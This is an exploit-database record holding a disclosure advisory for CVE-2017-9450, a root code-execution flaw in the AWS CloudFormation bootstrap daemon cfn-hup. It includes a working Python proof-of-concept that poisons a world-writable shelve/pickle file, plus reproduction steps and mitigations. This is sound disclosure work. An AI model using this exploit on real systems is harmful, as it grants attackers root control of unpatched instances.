{"result": {"zdt": [{"lastseen": "2018-03-01T17:41:04", "references": [], "description": "aws-cfn-bootstrap versions prior to 1.4-22.14 suffer from a local code execution vulnerability.", "edition": 1, "reporter": "Harry Sintonen", "published": "2017-12-04T00:00:00", "title": "aws-cfn-bootstrap Local Code Execution Vulnerability", "type": "zdt", "enchantments": {"score": {"modified": "2018-03-01T17:41:04", "vector": "AV:N/AC:L/Au:S/C:P/I:N/A:N/", "value": 4.0}}, "bulletinFamily": "exploit", "cvelist": ["CVE-2017-9450"], "modified": "2017-12-04T00:00:00", "id": "1337DAY-ID-29109", "href": "https://0day.today/exploit/description/29109", "sourceData": "aws-cfn-bootstrap local code execution as root\r\n==============================================\r\n\r\nThe latest version of this advisory is available at:\r\nhttps://sintonen.fi/advisories/aws-cfn-bootstrap-local-code-execution-as-root.txt\r\n\r\n\r\nOverview\r\n--------\r\n\r\nAWS EC2 instances deployed with the AWS CloudFormation bootstrap contain a vulnerable\r\ndaemon that enables an attacker to execute arbitrary code as root.\r\n\r\n\r\nDescription\r\n-----------\r\n\r\nThe aws-cfn-bootstrap `cfn-hup` daemon contains a local code execution vulnerability.\r\nA non-privileged attacker with the capability to write files (either locally or\r\nremotely) can write a specially crafted file which will result in arbitrary code\r\nexecution as root.\r\n\r\n\r\nImpact\r\n------\r\n\r\nThe non-privileged attacker is able to execute arbitrary commands as the administrative\r\nuser (root). This leads to complete loss of confidentiality, integrity and availability.\r\n\r\n\r\nDetails\r\n-------\r\n\r\nThe discovered vulnerability, described in more detail below, enables multiple\r\nindependent attacks described here in brief:\r\n\r\n\r\nLocal Arbitrary Code Execution As Root\r\n--------------------------------------\r\n\r\nA local user can overwrite or replace a file with a specially crafted contents\r\nthat results in a code execution as root.\r\n\r\nThe code execution is limited to local users, unless a remotely accessible\r\nservice contains an arbitrary file write vulnerability in which case the combined\r\nresult is a remote code execution as root.\r\n\r\n\r\nInformation Leak\r\n----------------\r\n\r\nA local user can read the metadata_db file. This file typically contains cleartext\r\npasswords and other similar confidential information.\r\n\r\nThe confidential data is exposed to local users, but if a remotely accessible service\r\ncontains an arbitrary file read vulnerability in which case the information is obviously\r\nexposed to external attackers as well.\r\n\r\n\r\n[CVE-2017-9450] Incorrect Permission Assignment for Critical Resource (CWE-732)\r\n-------------------------------------------------------------------------------\r\n\r\nThe `cfn-hup` daemon of the `aws-cfn-bootstrap` package is running with umask 0. This\r\nhappens because /opt/aws/bin/cfn-hup does not set a secure umask for the `DaemonContext`\r\nclass of the `python-daemon` package:\r\n\r\n with daemon.DaemonContext(pidfile=pidlockfile.TimeoutPIDLockFile('/var/run/cfn-hup.pid', 300),\r\n signal_map={signal.SIGTERM : kill}):\r\n\r\nThe `python-daemon` package defaults to a umask of 0 as seen in\r\nhttps://pagure.io/python-daemon/blob/master/f/daemon/daemon.py :\r\n\r\n `umask`\r\n\r\n :Default: ``0``\r\n\r\n File access creation mask (\"umask\") to set for the process on\r\n daemon start.\r\n\r\n A daemon should not rely on the parent process's umask value,\r\n which is beyond its control and may prevent creating a file with\r\n the required access mode. So when the daemon context opens, the\r\n umask is set to an explicit known value.\r\n\r\n If the conventional value of 0 is too open, consider setting a\r\n value such as 0o022, 0o027, 0o077, or another specific value.\r\n Otherwise, ensure the daemon creates every file with an\r\n explicit access mode for the purpose.\r\n\r\nAny file or directory created by the daemon will thus use the mask as specified\r\nby the `mkdir` or `open` functions.\r\n\r\nThe code in /usr/lib/python2.7/dist-packages/cfnbootstrap/update_hooks.py does the\r\nfollowing:\r\n\r\n def _create_storage_dir(self):\r\n if os.name == 'nt':\r\n self.storage_dir = os.path.expandvars(r'${SystemDrive}\\cfn\\cfn-hup\\data')\r\n else:\r\n self.storage_dir = '/var/lib/cfn-hup/data'\r\n if not os.path.isdir(self.storage_dir):\r\n log.debug(\"Creating %s\", self.storage_dir)\r\n try:\r\n os.makedirs(self.storage_dir)\r\n\r\nSince `os.makedirs` defaults to mode 777 the resulting directories /var/lib/cfn-hup and\r\n/var/lib/cfn-hup/data will have permissions 777 (`rwxrwxrwx`), that is, the directories\r\nare world-writable.\r\n\r\nThe CFN hook processing code reads the file `metadata_db` with the Python `shelve`\r\nmodule:\r\n\r\n def process(self):\r\n with contextlib.closing(shelve.open('%s/metadata_db' % self.dir)) as shelf:\r\n self._resource_cache = {}\r\n for hook in self.hooks:\r\n try:\r\n self._process_hook(hook, shelf)\r\n\r\nAnd:\r\n\r\n def _process_hook(self, hook, shelf):\r\n try:\r\n new_data = self._retrieve_path_data(hook.path)\r\n except InFlightStatusError:\r\n return\r\n\r\n old_data = shelf.get(hook.name + \"|\" + hook.path, None)\r\n\r\nThe `shelve` module comes with a fat warning about possible arbitrary code execution:\r\n\r\n> Warning: Because the shelve module is backed by pickle, it is insecure to load a\r\nshelf from an untrusted source. Like with pickle, loading a shelf can execute\r\narbitrary code.\r\n\r\nSince any user can write to the /var/lib/cfn-hup/data/metadata_db file and the\r\n`cfn-hup` daemon is running as root, any user can execute arbitrary commands as\r\nroot.\r\n\r\nA proof of concept exploit:\r\n\r\n #!/usr/bin/env python\r\n import os\r\n import shelve\r\n\r\n class E(object):\r\n def __reduce__(self):\r\n return (os.system, ('id >/pwned',))\r\n\r\n s = shelve.open('/var/lib/cfn-hup/data/metadata_db')\r\n for k in s.keys():\r\n s[k] = E()\r\n s.close()\r\n\r\nThe vulnerable code is executed every 15 minutes. So by average it takes 450\r\nseconds for the exploit to get triggered. The exploit is also executed when\r\nthe daemon is started (for example at system boot).\r\n\r\n\r\nReproducing\r\n-----------\r\n\r\n1. Sign in to AWS.\r\n2. From AWS Console \"Management Tools\" select \"CloudFormation\".\r\n3. Select \"Create Stack\".\r\n4. Select eg. the template \"LAMP Stack\".\r\n5. Fill the relevant fields. Note to select the EC2 keypair to use for access.\r\n6. Leave other options as-is.\r\n7. Click \"Create\".\r\n8. Once running, ssh to the box with the EC2 keypair as `ec2-user`.\r\n9. Upload the PoC to the host and execute it.\r\n10. Wait at most 15 minutes for the /pwned file to appear.\r\n\r\n\r\nVulnerable instances\r\n--------------------\r\n\r\nAny AWS EC2 instances that has been deployed with a CloudFormation template that\r\nhas the aws-cfn-bootstrap package 1.4-15.9.amzn1 and at least one hook included\r\n(for example `cfn-auto-reloader-hook`). This includes, but is not limited to, the AWS\r\nCloudFormation default LAMP, Rails and WordPress templates.\r\n\r\nHooks with the `on.command` trigger don't result in code execution. Some earlier\r\nversions of aws-cfn-bootstrap might have also had such vulnerability for\r\n`on.command` triggers, as well.\r\n\r\nThe history of this vulnerability and affected package versions are unclear, but the\r\nvulnerability is believed to have existed at least since 2011. As such the number of\r\nvulnerable systems could be high.\r\n\r\n\r\nRecommendations to vendor\r\n-------------------------\r\n\r\n1. In aws-cfn-bootstrap `cfn-hup` command set the `DaemonContext` umask to 077.\r\n2. For existing installations, run `chmod -R go-rwx /var/lib/cfn-hup` as root.\r\n\r\n\r\nEnd user mitigation\r\n-------------------\r\n\r\n1. Upgrade aws-cfn-bootstrap to 1.4-22.14.amzn1 or or later\r\n2. chmod -R go-rwx /var/lib/cfn-hup\r\n\r\n\r\nCredits\r\n-------\r\n\r\nThis vulnerability was discovered by Harry Sintonen / F-Secure Corporation.\r\n\r\n\r\nTimeline\r\n--------\r\n\r\n05.04.2017 spotted the 'rwxrwxrwx' directories, suspected a vulnerability\r\n08.04.2017 found a way to exploit the vulnerability, wrote the PoC exploit\r\n08.04.2017 wrote a preliminary advisory\r\n19.04.2017 minor adjustments\r\n03.05.2017 some fixes and clarifications\r\n03.05.2017 reported to [email\u00a0protected]\r\n04.05.2017 received response from the aws security team\r\n12.05.2017 requested status of the issue\r\n18.05.2017 requested status of the issue\r\n25.05.2017 requested status of the issue\r\n25.05.2017 received response: \"appropriate actions are being taken\"\r\n01.06.2017 requested status of the issue\r\n06.06.2017 received a response: \"a fix has been is built, and will be\r\n deployed in the coming couple of weeks.\"\r\n06.06.2017 requested CVE from MITRE\r\n06.06.2017 MITRE assigned CVE-2017-9450\r\n13.06.2017 forwarded the CVE number to [email\u00a0protected]\r\n26.07.2017 AWS released a fix as ALAS-2017-861 -\r\n https://alas.aws.amazon.com/ALAS-2017-861.html\r\n26.07.2017 notified AWS security about the incomplete fix: umask is\r\n still 0, leading to RCE as root via other vectors. sent a\r\n new proof of concept exploit utilizing such new vector\r\n04.08.2017 AWS released an updated ALAS-2017-861 fix, fixing the\r\n vulnerability. the daemon umask is still 0 resulting in\r\n potential information disclosure or code execution vulns\r\n14.09.2017 AWS released a fix to the umask issue as ALAS-2017-895 -\r\n https://alas.aws.amazon.com/ALAS-2017-895.html\r\n29.11.2017 public release of the advisory\n\n# 0day.today [2018-03-01] #", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://0day.today/exploit/29109"}]}}